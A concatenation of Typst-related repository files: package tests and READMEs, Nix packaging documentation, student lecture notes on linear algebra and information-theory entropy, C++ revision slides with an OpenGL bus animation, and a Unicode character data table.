https://github.com/fenjalien/metro | https://raw.githubusercontent.com/fenjalien/metro/main/tests/qty/separate-uncertainty/test.typ | typst | Apache License 2.0 | #import "/src/lib.typ": qty, metro-setup
#set page(width: auto, height: auto)
#qty(12.3, "kg", pm: 0.4)
#qty(12.3, "kg", pm: 0.4, separate-uncertainty: "repeat")
#qty(12.3, "kg", pm: 0.4, separate-uncertainty: "single")
|
https://github.com/typst/packages | https://raw.githubusercontent.com/typst/packages/main/packages/preview/mino/0.1.0/README.md | markdown | Apache License 2.0 | # [Mino](https://github.com/Enter-tainer/mino)
Render tetris [fumen](https://harddrop.com/fumen/) in typst!

````typ
#import "typst-package/lib.typ": decode-fumen, render-field
// Uncomment the following line to use the mino from the official package registry
// #import "@preview/mino:0.1.0": decode-fumen, render-field
#set page(margin: 1.5cm)
#align(center)[
#text(size: 25pt)[
DT Cannon
]
]
#let fumen = decode-fumen("v115@vhPJHYaAkeEfEXoC+BlvlzByEEfE03k2AlP5ABwfAA?A+rQAAqsBsqBvtBTpBVhQeAlvlzByEEfE03k2AlP5ABwvDf?E33ZBBlfbOBV5AAAOfQeAlvlzByEEfE03+2BlP5ABwvDfEV?5k2AlPJVBjzAAA6WQAAzdBpeB0XBXUBFlQnAlvlzByEEfE0?3+2BlP5ABwvDfEXhWEBUYPNBkkuRA1GCLBUupAAdqQnAlvl?zByEEfE038UBlP5ABwvDfEXhWEBUYPNBkkuRA1GCLBU+rAA?AAPAA")
#for i in range(fumen.len()) {
let field = fumen.at(i).at("field")
[#box(render-field(field, rows: 8, cell-size: 14pt)) #h(2em)]
}
````
## Documentation
### `decode-fumen`
Decode a fumen string into a series of pages.
#### Arguments
* `data`: `str` - The fumen string to decode
#### Returns
The pages, of type `Array<{ field: Array<string, 20>, comment: string }>`.
```
(
(
field: (
"....",
"....",
...
),
comment: "..."
),
...
)
```
### `render-field`
#### Arguments
* `field`: `array` of `str` - The field to render
* `rows`: `number` - The number of rows to render, default to `20`
* `cell-size`: `length` - The size of each cell, default to `10pt`
* `bg-color`: `color` - The background color, default to `#f3f3ed`
* `stroke`: The stroke for the field, default to `none`
* `radius`: The border radius for the field, default to `0.25 * cell-size`
* `shadow`: Whether to show shadow for cells, default to `true`
|
https://github.com/typst/packages | https://raw.githubusercontent.com/typst/packages/main/packages/preview/jogs/0.1.0/examples/fib.typ | typst | Apache License 2.0 | #set page(height: auto, width: auto, fill: black, margin: 1em)
#set text(fill: white)
#import "../lib.typ": *
#show raw.where(lang: "jogs"): it => eval-js(it)
```jogs
let a = {a: 0, c: 1, b: "123"}
let res = []
function fib(n) {
if (n < 2) return n
return fib(n - 1) + fib(n - 2)
}
for (let i = 0; i < 10; i++) {
res.push(fib(i))
}
a.d = res
a
```
|
https://github.com/Myriad-Dreamin/tinymist | https://raw.githubusercontent.com/Myriad-Dreamin/tinymist/main/crates/tinymist-query/src/fixtures/call_info/builtin_poly.typ | typst | Apache License 2.0 | #(/* position after */ rgb(255, 255, 255)) |
https://github.com/feiyangyy/Learning | https://raw.githubusercontent.com/feiyangyy/Learning/main/linear_algebra/线性齐次方程组.typ | typst | #set text(
font: "New Computer Modern",
size: 6pt
)
#set page(
paper: "a6",
margin: (x: 1.8cm, y: 1.5cm),
)
#set par(
justify: true,
leading: 0.52em,
)
= 线性齐次方程组
常数项为0的方程组,称为齐次方程组,对应的增广矩阵的最后一列全为0,如:
$
mat(
a_1^0, a_1^1, ..., a_n^n 0;
a_2^0, a_2^1, ..., a_2^n 0;
a_r^0, a_r^1, ..., a_r^n 0;
)
$
显而易见$(0,0, ..., 0)$ 是齐次方程组的一个解,称为0解。如果该方程组有非0解,根据前述的定理,该方程组有无穷多解,同时有以下推论:
1. 当齐次方程组的个数(增广矩阵的行数)小于未知量数量时,一定有非0解,这是因为其化简后的阶梯形的主元数量小于未知量数量,则一定存在自有变量,从而一定有无穷多解
1. 这个和前述定理说的不都是一回事么? -- 这是引申出的一个结论,后续直接用
#highlight(fill: yellow)[2. 阶梯形化简的过程中,0行的产生过程,以及非0行中除了主元之外,可能仍然存在非0元] |
|
https://github.com/loqusion/typix | https://raw.githubusercontent.com/loqusion/typix/main/docs/recipes/using-typst-packages.md | markdown | MIT License | # Using Typst packages
> If none of the advice on this page works for you, and there are no [open
> issues][github-open-issues] related to your problem, feel free to [open an
> issue][github-new-issue].
[github-new-issue]: https://github.com/loqusion/typix/issues/new?assignees=&labels=typst+packages&projects=&template=3-typst_packages.md&title=%5BTypst+packages%5D%3A+
[github-open-issues]: https://github.com/loqusion/typix/issues?q=is%3Aissue+is%3Aopen+sort%3Aupdated-desc+label%3A%22typst+packages%22
[Typst packages][typst-packages] are still experimental, so Typix doesn't
provide direct support for them yet. However, there are ways you can get them to
work.
[typst-packages]: https://github.com/typst/packages
Typst packages _should_ work out of the box for:
- [`watchTypstProject`](../api/derivations/watch-typst-project.md)
- [`devShell`](../api/derivations/dev-shell.md)
For the other derivation constructors, see below.
## Providing the package cache
Typst [caches downloaded packages][typst-packages-cache] for a given `namespace`
in `{cache-dir}/typst/packages/{namespace}`.
[typst-packages-cache]: https://github.com/typst/packages?tab=readme-ov-file#downloads
With flake inputs defined like:
```nix
{
inputs.typst-packages = {
url = "github:typst/packages";
flake = false;
};
# Contrived example of an additional package repository
inputs.my-typst-packages = {
url = "github:loqusion/my-typst-packages";
flake = false;
};
}
```
...we can provide them where Typst expects them:
```nix
let
typstPackagesSrc = pkgs.symlinkJoin {
name = "typst-packages-src";
paths = [
"${inputs.typst-packages}/packages"
"${inputs.my-typst-packages}/..."
];
};
# You can use this if you only need to use official packages
# typstPackagesSrc = "${inputs.typst-packages}/packages";
typstPackagesCache = pkgs.stdenv.mkDerivation {
name = "typst-packages-cache";
src = typstPackagesSrc;
dontBuild = true;
installPhase = ''
mkdir -p "$out/typst/packages"
cp -LR --reflink=auto --no-preserve=mode -t "$out/typst/packages" "$src"/*
'';
};
in {
build-drv = typixLib.buildTypstProject {
XDG_CACHE_HOME = typstPackagesCache;
# ...
};
build-script = typixLib.buildTypstProjectLocal {
XDG_CACHE_HOME = typstPackagesCache;
# ...
};
}
```
Then, we can use them in a Typst file like so:
```typst
#import "@preview/example:0.1.0"
#import "@loqusion/my-package:0.2.1"
```
|
https://github.com/yasemitee/Teoria-Informazione-Trasmissione | https://raw.githubusercontent.com/yasemitee/Teoria-Informazione-Trasmissione/main/2023-11-07.typ | typst | = Derivanti dell'entropia
== Entropia congiunta
Siano $XX$ e $YY$ due variabili casuali con valori in insiemi finiti $Chi$ e $Y$, detta $p$ la loro distribuzione congiunta $p(x,y) = P(XX = x, YY = y)$, definiamo l'entropia congiunta $H(XX,YY)$ come
$ H(XX,YY) = sum_(x in Chi) sum_(y in Y) p(x,y) log_2 1/ (p (x,y)) $
Possiamo pensare all'entropia congiunta come al numero medio di bit necessari per rappresentare una coppia di valori estratti da $Chi$ e $Y$.
== Entropia condizionale
Siano $XX$ e $YY$ due variabili casuali con valori in insiemi finiti $Chi$ e $Y$, detta $p$ la loro distribuzione congiunta $p(x,y) = P(XX = x, YY = y)$, definiamo l'entropia condizionale $H(YY | XX)$ come
$ H(YY | XX) = sum_(x in Chi) p(x) dot H(YY | XX = x) = sum_(x in Chi) p(x) (sum_(y in Y) p(y|x) log_2 1/p(y | x)) $
$ = sum_(x in Chi) sum_(y in Y) p(x,y) dot log_2 1/p(y | x) $
dove p(x) è la marginale su $Chi$, ovvero la probabilità di un singolo evento o di un insieme di eventi in un sottoinsieme delle variabili, senza tener conto delle altre variabili.
$ p(x) = sum_(y in Y) p(x,y) $
e p(y | x) è la condizionata di $y$ su $x$, ovvero la probabilità che si verifica $y$ dato che già si è verificato $x$
$ p(y | x) = p(x, y) / p(x) $
== Chain rule per entropia
Chain rule per entropia è una regola che stabilisce una relazione fra entropia, entropia congiunta ed entropia condizionale così denfinita,
$ H(XX,YY) = underbrace(H(XX), "entropia \ndi un evento") + underbrace(H(YY | XX), "entropia \nconfizionata di Y su X") $
Questa formula esprime l'entropia congiunta come la somma dell'entropia marginale di $XX$ e dell'entropia condizionale di $YY$ dato $XX$. In altre parole, l'entropia congiunta di due variabili casuali è la somma dell'entropia della prima variabile e dell'entropia condizionale della seconda variabile data la prima.
è possibile anche riscriverla come:
$ H(XX,YY) = H(YY) + H(XX | YY) $
Notiamo che questa relazione vale anche per gli spazi condizionati, ovvero:
$ H(XX,YY | ZZ) = H(XX | ZZ) + H(YY | XX,ZZ) $
#pagebreak()
== Esercizi
=== Esercizio
Avendo una varliabile $x in Chi$ che mi estrae i numeri da 0 a 10 (in maniera equiprobabile), e avendo un variabile $Y = x + 2 mod 10$, quanti bit sono necessari per caratterizzare l'evento?
*Soluzione:*
Una volta cominciata l'estrazione di $x$ sappiamo anche quanto vale $y$ quindi $H(XX | YY) = 0$ (non ho bisogno di bit per caratterizzare l'evento).
=== Esercizio
Avendo $Chi = {-1, 0, 1}$ e $Y = x^2$, è possibile sapre a priori quanto valgono $H(Y | X)$ e $H(X | Y)$?
*Soluzione:*
Se io conosco $x$ non mi servono bit di informazione per sapere quanto vale $y$, quindi $H(Y | X) = 0$, per quanto riguarda $H(X | Y)$ non conosco il risultato a pripri perché $-1^2$ e $1^2$ restituiscono sempre 1.
=== Esercizio
In una comunicazione S-C-R (sorgente canale ricevente) ricevo la seguente matrice:
#align(center)[
#table(
align: center + horizon,
columns: (7%, 7%, 7%, 7%, 7%, 7%),
inset: 10pt,
[], [$b_1$], [$b_2$], [$b_3$], [$b_4$], [$b_5$],
[$a_1$], [0.2], [0.2], [0.3], [0.2], [0.1],
[$a_2$], [0.2], [0.5], [0.1], [0.1], [0.1],
[$a_3$], [0.6], [0.1], [0.1], [0.1], [0.1],
[$a_4$], [0.3], [0.1], [0.1], [0.1], [0.4]
)
]
$Chi = {a_1, a_2, a_3, a_4}$
$P(a_i) = {a_i b_1, dots, a_i b_5} $
#underline[Calcolare l'entropia del ricevente data la sorgente]
*Soluzione:*
Prima di tutto bisogna controllare che $sum_(j=1)^5 a_1 b_j = 1$, ovvero che per ogni riga della matrice la somma delle probabilità sia = 1, altrimenti l'esercizio non si può fare.
Adesso possiamo procedere a calcolare l'entropia del ricevente data la sorgente grazie alla formula
$ H(R | S)= sum_(i=1)^4 p(a_i) dot H(R | a_i) $
$ = sum_(i=1)^4 p(a_i) dot sum_(j=1)^5 p(b_j | a_i) dot log_2 1/p(b_j | a_i) $
Adesso vado a calcolare i dai per la sommatoria più interna
$ H(R | a_1) = sum_(j=1)^5 p(b_j | a_1) dot log_2 1/p(b_j | a_1) = (0,2 dot log_2 1/(0,2)) dot 3 + 0,3 dot log_2 1/(0,3) + 0,1 dot log_2 1/(0,2) = 2,246 "bit" $
$ H(R | a_2) = sum_(j=1)^5 p(b_j | a_2) dot log_2 1/p(b_j | a_2) = 0,2 dot log_2 1/(0,2) + (0,1 dot log_2 1/(0,1)) dot 3 + 0,5 dot log_2 1/(0,5) = 1,96 "bit" $
$ H(R | a_3) = sum_(j=1)^5 p(b_j | a_3) dot log_2 1/p(b_j | a_3) = 0,6 dot log_2 1/(0,6) + (0,1 dot log_2 1/(0,1)) dot 4 = 1,77 "bit"$
$ H(R | a_4) = sum_(j=1)^5 p(b_j | a_4) dot log_2 1/p(b_j | a_4) = 0,3 dot log_2 1/(0,3) + (0,1 dot log_2 1/(0,1)) dot 3 + 0,3 dot log_2 1/(0,4) = 2,046 "bit" $
Ora andiamo a sostituire i dati alla formula originale
$ H(R | S)= sum_(i=1)^4 p(a_i) dot H(R | a_i) $
$ = (0,2 dot 2,246) + (0,3 dot 1,96) + (0,1 dot 1,77) + (0,4 dot 2,046) = underline(2","033 "bit") $ |
|
https://github.com/VisualFP/docs | https://raw.githubusercontent.com/VisualFP/docs/main/SA/project_documentation/content/project_method.typ | typst | = Project Management Method
Using Scrum for this project isn't an option since that would require a massive amount of meetings that don't make sense for a project with just two people.
The waterfall model seems suitable since the project must be completed within a fixed timeframe.
To account for the conceptual nature of the project, we've decided on the phases of initiation, analysis, design, and construction (of the PoC).
We also don't define any fixed milestones. Instead, we define a project plan in @project_plan that roughly places the phases mentioned above in the available time frame for the project. |
|
https://github.com/CHHC-L/ciapo | https://raw.githubusercontent.com/CHHC-L/ciapo/master/examples/long-example-1/main.typ | typst | MIT License | #import "template.typ": diapo, transition, longpage, mcolor, bf, refpage
#import "@preview/tablex:0.0.6": tablex, rowspanx, colspanx
#show: diapo.with(
title: "ENGR151 Final RC\nPart 4\nRevision Guide: e3r",
author: ((name:"wtfisthis", email:"<EMAIL>"), (name:"mynameismrCCC", email:"<EMAIL>")),
date: "2023-12-06",
short-title: "e3r",
)
#set heading(numbering: (..n) => {
let tt = n.pos().map(t => t + 23).map(str)
if tt.len() == 1 {"Pa "+tt.join()+"?!E "}
})
#outline(indent: auto, depth: 1)
= Yet Another Revision Guide
#lorem(100)
= Basic C++ Questions
== What #lorem(5)
#lorem(100)
=== Yet another #lorem(40)
#lorem(100)
#pagebreak()
== What is a namespace?
```cpp
????????????????????????fdsgijhsNOloremhere!!!!!!
using namespace std;
????????????????????????fdsgijhsNOloremhere!!!!!!
```
#pagebreak()
== How to use the input/output in C++?
In C++, `cin` is used to read input from the standard input stream (usually the keyboard), and `cout` is used to write output to the standard output stream (usually the screen).
```cpp
#include <iostream>
signed main() {
// Read a number from the user
int number;
std::cin >> number;
// Write to the screen
std::cout << "Hello, " << number << "!" << std::endl;
return 0;
}
```
#pagebreak()
== What are operator and function overloading?
Operator overloading in C++ allows operators, such as `+`, `-`, `<`, `=`, `[]` and `()` to have different meanings for different types of data. For example, the `+` operator can be used to add two numbers, but it can also be used to concatenate two strings. Function overloading, on the other hand, allows a single function to have different implementations depending on the type and number of arguments passed to it. This allows for greater flexibility and code reuse.
Operators are also functions.
#pagebreak()
== What is the difference between `delete` and `delete[]` in C++?
In C++, the `delete` keyword is used to deallocate memory that was previously allocated on the heap. The `delete[]` operator is used to deallocate memory for arrays. This is necessary because arrays are allocated differently than single objects, and `delete[]` ensures that the memory for the entire array is deallocated properly.
```cpp
// Allocate memory for a single object
int *p = new int;
delete p;
// Allocate memory for an array of objects
int *q = new int[10];
delete[] q;
```
#pagebreak()
== How to concatenate strings in C++?
```cpp
string s1 = "Hello";
string s2 = "World";
s1 += "?"; // s1 is now "Hello?"
string s3 = s1 + s2; // s3 is now "Hello?World"
```
Or:
```rust
string s1 = "Hello";
string s2 = "World";
s1.append(" ");
s1.append(s2); // s1 is now "Hello World"
```
Both of these methods can be used to concatenate multiple strings together, and they can also be used to concatenate
string literals and variables of type `char*` or `char[]`.
#pagebreak()
== What does a `vector` brings, compared to an array?
#lorem(120)
#pagebreak()
Sample code for `vector`, with some functions in `<algorithm>`:
```cpp
#include <vector>
#include <iostream>
#include <algorithm>
using namespace std;
signed main() {
vector<int> v(2, -1);
v.push_back(1); v.push_back(4); v.push_back(8);
v[1] = 9; v.insert(v.begin() + 1, 2); v.pop_back();
for (int i = 0; i < v.size(); i++) cout << v[i] << " ";
cout << "\n ? " << *v.begin() << " " << v.back() << endl;
sort(v.begin(), v.end());
vector<int>::iterator it = unique(v.begin(), v.end());
v.erase(it, v.end());
for (auto x : v) cout << x << " ";
// Do not use what you can't understand :X
return 0;
}
```
#pagebreak()
== What is an Object Oriented Programming language?
#text(size: 10pt)[
#lorem(300)
An object-oriented programming (OOP) language is a type of programming language that is based on the concept of
"objects". Object-oriented languages are designed to support the following key principles of OOP:
- Encapsulation: This refers to the idea of wrapping data and the functions that operate on that data into a single unit, called an object. Encapsulation allows the data and functions within an object to be hidden from the rest of the program, which helps to reduce the complexity of the program and to prevent unintended changes to the data.
- Abstraction: This refers to the idea of hiding the details of how an object works, and only exposing the object's interface, which is the set of functions that can be called on the object. Abstraction allows objects to be used without the need to understand the details of how they work, which makes the program easier to understand and maintain.
- Inheritance: This refers to the ability of one object, called a subclass, to inherit the properties and functions of another object, called a superclass. Inheritance allows objects to be organized into a hierarchy, where objects at the lower levels of the hierarchy inherit the properties and functions of objects at higher levels. This allows for code reuse and makes it easier to extend and modify the behavior of existing objects.
- Polymorphism: This refers to the ability of objects to have different forms, depending on the context in which they are used. In OOP languages, this is typically achieved through the use of virtual functions, which allow different objects to provide their own implementation of a function that is defined in a common base class. This allows for greater flexibility and code reuse.
Overall, OOP languages support the development of modular, reusable, and extensible code, which can make programs easier to understand, maintain, and modify. Examples of OOP languages include C++, Java, Python, and C\#.
]
== When specifying a class, what should be defined first, the attributes or the methods?
#bf[I don't know.] #lorem(20)
#pagebreak()
== What is the difference between `public`, `private` and `protected`?
In C++, the `public`, `private`, and `protected` access specifiers are used to specify the visibility of class members. When defining a class:
#tablex(
columns: 4,
align: center + horizon,
auto-vlines: false,
header-rows: 2,
rowspanx(2)[#bf[Visibility]], colspanx(3)[#bf[Classes]], (), (),
(), [Base], [Derived], [Others],
[Private], [Yes], [No], [No],
[Protected], [Yes], [Yes], [No],
[Public], [Yes], [Yes], [Yes],
)
#lorem(20)
#pagebreak()
For different types of inheritance:
#tablex(
columns: 4,
align: center + horizon,
auto-vlines: false,
header-rows: 2,
rowspanx(2)[#bf[Base class]], colspanx(3)[#bf[Derived class]], (), (),
(), [Public], [Protected], [Private],
[Private], [-], [-], [-],
[Protected], [Protected], [Protected], [Private],
[Public], [Public], [Protected], [Private],
)
#lorem(26)
#pagebreak()
== What are the benefits of using inheritance and polymorphism?
See previous questions.
Main benefits: code reuse, flexibility,
and extensibility.
#image("./BlobCat_Reach.png", width: 10%)
#pagebreak()
== What is the diamond problem?
The diamond problem is a situation that can arise in object-oriented programming when a class inherits from multiple classes that have a common ancestor. This can cause ambiguity and lead to unexpected behavior in the program.
For example, we have a base class `A`, and two derived classes `B` and `C` that both inherit from `A`. Now, we create a new class `D` that inherits from both `B` and `C`. Now if both `B` and `C` define a method called `foo()`, then when we call `foo()` on an object of type `D`, which version of `foo()` will be called? The version defined in `B` or the version defined in `C`? Je n'ai aucune idée.
To avoid the problem, C++ provides mechanisms such as virtual inheritance. But for now, it's better to avoid diamond problem when you are designing the hierarchy diagram!
== How to use a template?
To use a template in C++, you first need to define the template by specifying the template parameters. For example:
```rust
template <typename T>
void myFunction(T arg)
{...}
```
Then to use the above function with the data type `int`, write:
```rust
myFunction<int>(10);
```
Alternatively, you can use the template argument deduction:
```rust
int a = 10;
myFunction(a);
```
== How to use t?
The Standard Template Li in C++ provides a number of algorithm functions that can be used to perform commonions on containers, such as searc
== Can you underd theanswer all the questions following the code?
Why not ask the magic \_\_\_\_\_\_\_\_\_ ?
= Driving the bus
== Analyze
#lorem(50)
#longpage(6.5)[
== Code
```cpp
#include <GL/freeglut.h>
#include <cmath>
typedef struct _Point {
double x, y;
} Point;
class Shape {
public:
virtual void draw(Point base) = 0;
virtual void flip() = 0;
virtual ~Shape() {};
protected:
float r, g, b;
};
class Rectangle : public Shape {
public:
Rectangle(Point pt1, Point pt2,
float red, float green, float blue)
{
p1 = pt1;
p2 = pt2;
r = red;
g = green;
b = blue;
}
void draw(Point base)
{
glColor3f(r, g, b);
glBegin(GL_QUADS);
glVertex2d(p1.x + base.x, p1.y + base.y);
glVertex2d(p2.x + base.x, p1.y + base.y);
glVertex2d(p2.x + base.x, p2.y + base.y);
glVertex2d(p1.x + base.x, p2.y + base.y);
glEnd();
}
void flip()
{
p1.x = -p1.x;
p2.x = -p2.x;
}
private:
Point p1, p2;
};
class Circle : public Shape {
public:
Circle(Point pt, double radius,
float red, float green, float blue)
{
p = pt;
a = radius;
r = red;
g = green;
b = blue;
}
void draw(Point base)
{
glColor3f(r, g, b);
glBegin(GL_POLYGON);
for (int i = 0; i < 360; i++) {
glVertex2d(p.x + base.x + a * cos(i),
p.y + base.y + a * sin(i));
}
glEnd();
}
void flip()
{
p.x = -p.x;
}
private:
Point p;
double a;
};
class Bus {
public:
Bus(Point st)
{
p.x = st.x;
p.y = st.y;
s[0] = new Rectangle(Point{ -0.25, -0.25 }, Point{ 0.25, 0 },
1, 0, 0);
s[1] = new Circle(Point{ -0.15, -0.25 },
0.05, 0, 0, 1);
s[2] = new Circle(Point{ 0.15, -0.25 },
0.05, 0, 1, 0);
s[3] = new Rectangle(Point{ 0, -0.15 }, Point{ 0.2, -0.05 },
1, 1, 0);
}
~Bus()
{
for (int i = 0; i < 4; i++)
delete s[i];
}
void draw()
{
for (int i = 0; i < 4; i++)
s[i]->draw(p);
}
void move(int timer)
{
if (timer % 100 == 0) {
for (int i = 0; i < 4; i++)
s[i]->flip();
return;
}
if (timer % 200 < 100) {
p.x += 0.01;
} else {
p.x -= 0.01;
}
}
private:
Point p;
Shape* s[4];
};
void TimeStep(int n)
{
glutTimerFunc(n, TimeStep, n);
glutPostRedisplay();
}
void glDraw()
{
static int timer = 0;
static Bus b = Bus(Point{ -0.5, 0 }); // for simplicity
timer++;
b.move(timer);
glClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT);
b.draw();
glutSwapBuffers();
glFlush();
}
signed main(int argc, char* argv[])
{
glutInit(&argc, argv);
glutInitWindowSize(500, 500);
glutInitDisplayMode(GLUT_RGB | GLUT_SINGLE);
glutCreateWindow("didudidu");
glClearColor(1.0, 1.0, 1.0, 0.0);
glClear(GL_COLOR_BUFFER_BIT);
glutDisplayFunc(glDraw);
glutTimerFunc(15, TimeStep, 15);
glutMainLoop();
return 0;
}
```
]
= A bus trip
== Analyze
OK actually no need for polymorphism or inheritance. Ticket, bus and passengers don't have such "is-a" relationship. So we just define them as three different classes.
But in your exam, you may be asked to use inheritance and polymorphism according to the problem. So you still need to think about the relationship. Wrong design will lead to much lower grade!
#longpage(2.5)[
== Code?
```cpp
?
```
And it's your turn to finish the code\~
]
#refpage[
- NODSFOJidjgurekhsglkujhgliurhglAWETSFRJIAD
#v(1em)
#set par(justify: true, leading: 1em, )
#set text(size: 9pt)
#bf[A side note (?)]
BTW I USE ARCH LINUX?
BTW I WRITE THIS SLIDE WITH TYPST?
BTW I WRITE RUST?
BTW I PLAY GENSHIN IMPACT.
See #link("https://github.com/typst/typst")[official github repo] for more information.
The template.typ of this slide is available #link("https://www.youtube.com/watch?v=dQw4w9WgXcQ")[here].
]
#transition(accent-color: navy)[Good luck & Have fun !]
|
https://github.com/typst/packages | https://raw.githubusercontent.com/typst/packages/main/packages/preview/unichar/0.1.0/ucd/block-1D00.typ | typst | Apache License 2.0 | #let data = (
("LATIN LETTER SMALL CAPITAL A", "Ll", 0),
("LATIN LETTER SMALL CAPITAL AE", "Ll", 0),
("LATIN SMALL LETTER TURNED AE", "Ll", 0),
("LATIN LETTER SMALL CAPITAL BARRED B", "Ll", 0),
("LATIN LETTER SMALL CAPITAL C", "Ll", 0),
("LATIN LETTER SMALL CAPITAL D", "Ll", 0),
("LATIN LETTER SMALL CAPITAL ETH", "Ll", 0),
("LATIN LETTER SMALL CAPITAL E", "Ll", 0),
("LATIN SMALL LETTER TURNED OPEN E", "Ll", 0),
("LATIN SMALL LETTER TURNED I", "Ll", 0),
("LATIN LETTER SMALL CAPITAL J", "Ll", 0),
("LATIN LETTER SMALL CAPITAL K", "Ll", 0),
("LATIN LETTER SMALL CAPITAL L WITH STROKE", "Ll", 0),
("LATIN LETTER SMALL CAPITAL M", "Ll", 0),
("LATIN LETTER SMALL CAPITAL REVERSED N", "Ll", 0),
("LATIN LETTER SMALL CAPITAL O", "Ll", 0),
("LATIN LETTER SMALL CAPITAL OPEN O", "Ll", 0),
("LATIN SMALL LETTER SIDEWAYS O", "Ll", 0),
("LATIN SMALL LETTER SIDEWAYS OPEN O", "Ll", 0),
("LATIN SMALL LETTER SIDEWAYS O WITH STROKE", "Ll", 0),
("LATIN SMALL LETTER TURNED OE", "Ll", 0),
("LATIN LETTER SMALL CAPITAL OU", "Ll", 0),
("LATIN SMALL LETTER TOP HALF O", "Ll", 0),
("LATIN SMALL LETTER BOTTOM HALF O", "Ll", 0),
("LATIN LETTER SMALL CAPITAL P", "Ll", 0),
("LATIN LETTER SMALL CAPITAL REVERSED R", "Ll", 0),
("LATIN LETTER SMALL CAPITAL TURNED R", "Ll", 0),
("LATIN LETTER SMALL CAPITAL T", "Ll", 0),
("LATIN LETTER SMALL CAPITAL U", "Ll", 0),
("LATIN SMALL LETTER SIDEWAYS U", "Ll", 0),
("LATIN SMALL LETTER SIDEWAYS DIAERESIZED U", "Ll", 0),
("LATIN SMALL LETTER SIDEWAYS TURNED M", "Ll", 0),
("LATIN LETTER SMALL CAPITAL V", "Ll", 0),
("LATIN LETTER SMALL CAPITAL W", "Ll", 0),
("LATIN LETTER SMALL CAPITAL Z", "Ll", 0),
("LATIN LETTER SMALL CAPITAL EZH", "Ll", 0),
("LATIN LETTER VOICED LARYNGEAL SPIRANT", "Ll", 0),
("LATIN LETTER AIN", "Ll", 0),
("GREEK LETTER SMALL CAPITAL GAMMA", "Ll", 0),
("GREEK LETTER SMALL CAPITAL LAMDA", "Ll", 0),
("GREEK LETTER SMALL CAPITAL PI", "Ll", 0),
("GREEK LETTER SMALL CAPITAL RHO", "Ll", 0),
("GREEK LETTER SMALL CAPITAL PSI", "Ll", 0),
("CYRILLIC LETTER SMALL CAPITAL EL", "Ll", 0),
("MODIFIER LETTER CAPITAL A", "Lm", 0),
("MODIFIER LETTER CAPITAL AE", "Lm", 0),
("MODIFIER LETTER CAPITAL B", "Lm", 0),
("MODIFIER LETTER CAPITAL BARRED B", "Lm", 0),
("MODIFIER LETTER CAPITAL D", "Lm", 0),
("MODIFIER LETTER CAPITAL E", "Lm", 0),
("MODIFIER LETTER CAPITAL REVERSED E", "Lm", 0),
("MODIFIER LETTER CAPITAL G", "Lm", 0),
("MODIFIER LETTER CAPITAL H", "Lm", 0),
("MODIFIER LETTER CAPITAL I", "Lm", 0),
("MODIFIER LETTER CAPITAL J", "Lm", 0),
("MODIFIER LETTER CAPITAL K", "Lm", 0),
("MODIFIER LETTER CAPITAL L", "Lm", 0),
("MODIFIER LETTER CAPITAL M", "Lm", 0),
("MODIFIER LETTER CAPITAL N", "Lm", 0),
("MODIFIER LETTER CAPITAL REVERSED N", "Lm", 0),
("MODIFIER LETTER CAPITAL O", "Lm", 0),
("MODIFIER LETTER CAPITAL OU", "Lm", 0),
("MODIFIER LETTER CAPITAL P", "Lm", 0),
("MODIFIER LETTER CAPITAL R", "Lm", 0),
("MODIFIER LETTER CAPITAL T", "Lm", 0),
("MODIFIER LETTER CAPITAL U", "Lm", 0),
("MODIFIER LETTER CAPITAL W", "Lm", 0),
("MODIFIER LETTER SMALL A", "Lm", 0),
("MODIFIER LETTER SMALL TURNED A", "Lm", 0),
("MODIFIER LETTER SMALL ALPHA", "Lm", 0),
("MODIFIER LETTER SMALL TURNED AE", "Lm", 0),
("MODIFIER LETTER SMALL B", "Lm", 0),
("MODIFIER LETTER SMALL D", "Lm", 0),
("MODIFIER LETTER SMALL E", "Lm", 0),
("MODIFIER LETTER SMALL SCHWA", "Lm", 0),
("MODIFIER LETTER SMALL OPEN E", "Lm", 0),
("MODIFIER LETTER SMALL TURNED OPEN E", "Lm", 0),
("MODIFIER LETTER SMALL G", "Lm", 0),
("MODIFIER LETTER SMALL TURNED I", "Lm", 0),
("MODIFIER LETTER SMALL K", "Lm", 0),
("MODIFIER LETTER SMALL M", "Lm", 0),
("MODIFIER LETTER SMALL ENG", "Lm", 0),
("MODIFIER LETTER SMALL O", "Lm", 0),
("MODIFIER LETTER SMALL OPEN O", "Lm", 0),
("MODIFIER LETTER SMALL TOP HALF O", "Lm", 0),
("MODIFIER LETTER SMALL BOTTOM HALF O", "Lm", 0),
("MODIFIER LETTER SMALL P", "Lm", 0),
("MODIFIER LETTER SMALL T", "Lm", 0),
("MODIFIER LETTER SMALL U", "Lm", 0),
("MODIFIER LETTER SMALL SIDEWAYS U", "Lm", 0),
("MODIFIER LETTER SMALL TURNED M", "Lm", 0),
("MODIFIER LETTER SMALL V", "Lm", 0),
("MODIFIER LETTER SMALL AIN", "Lm", 0),
("MODIFIER LETTER SMALL BETA", "Lm", 0),
("MODIFIER LETTER SMALL GREEK GAMMA", "Lm", 0),
("MODIFIER LETTER SMALL DELTA", "Lm", 0),
("MODIFIER LETTER SMALL GREEK PHI", "Lm", 0),
("MODIFIER LETTER SMALL CHI", "Lm", 0),
("LATIN SUBSCRIPT SMALL LETTER I", "Lm", 0),
("LATIN SUBSCRIPT SMALL LETTER R", "Lm", 0),
("LATIN SUBSCRIPT SMALL LETTER U", "Lm", 0),
("LATIN SUBSCRIPT SMALL LETTER V", "Lm", 0),
("GREEK SUBSCRIPT SMALL LETTER BETA", "Lm", 0),
("GREEK SUBSCRIPT SMALL LETTER GAMMA", "Lm", 0),
("GREEK SUBSCRIPT SMALL LETTER RHO", "Lm", 0),
("GREEK SUBSCRIPT SMALL LETTER PHI", "Lm", 0),
("GREEK SUBSCRIPT SMALL LETTER CHI", "Lm", 0),
("LATIN SMALL LETTER UE", "Ll", 0),
("LATIN SMALL LETTER B WITH MIDDLE TILDE", "Ll", 0),
("LATIN SMALL LETTER D WITH MIDDLE TILDE", "Ll", 0),
("LATIN SMALL LETTER F WITH MIDDLE TILDE", "Ll", 0),
("LATIN SMALL LETTER M WITH MIDDLE TILDE", "Ll", 0),
("LATIN SMALL LETTER N WITH MIDDLE TILDE", "Ll", 0),
("LATIN SMALL LETTER P WITH MIDDLE TILDE", "Ll", 0),
("LATIN SMALL LETTER R WITH MIDDLE TILDE", "Ll", 0),
("LATIN SMALL LETTER R WITH FISHHOOK AND MIDDLE TILDE", "Ll", 0),
("LATIN SMALL LETTER S WITH MIDDLE TILDE", "Ll", 0),
("LATIN SMALL LETTER T WITH MIDDLE TILDE", "Ll", 0),
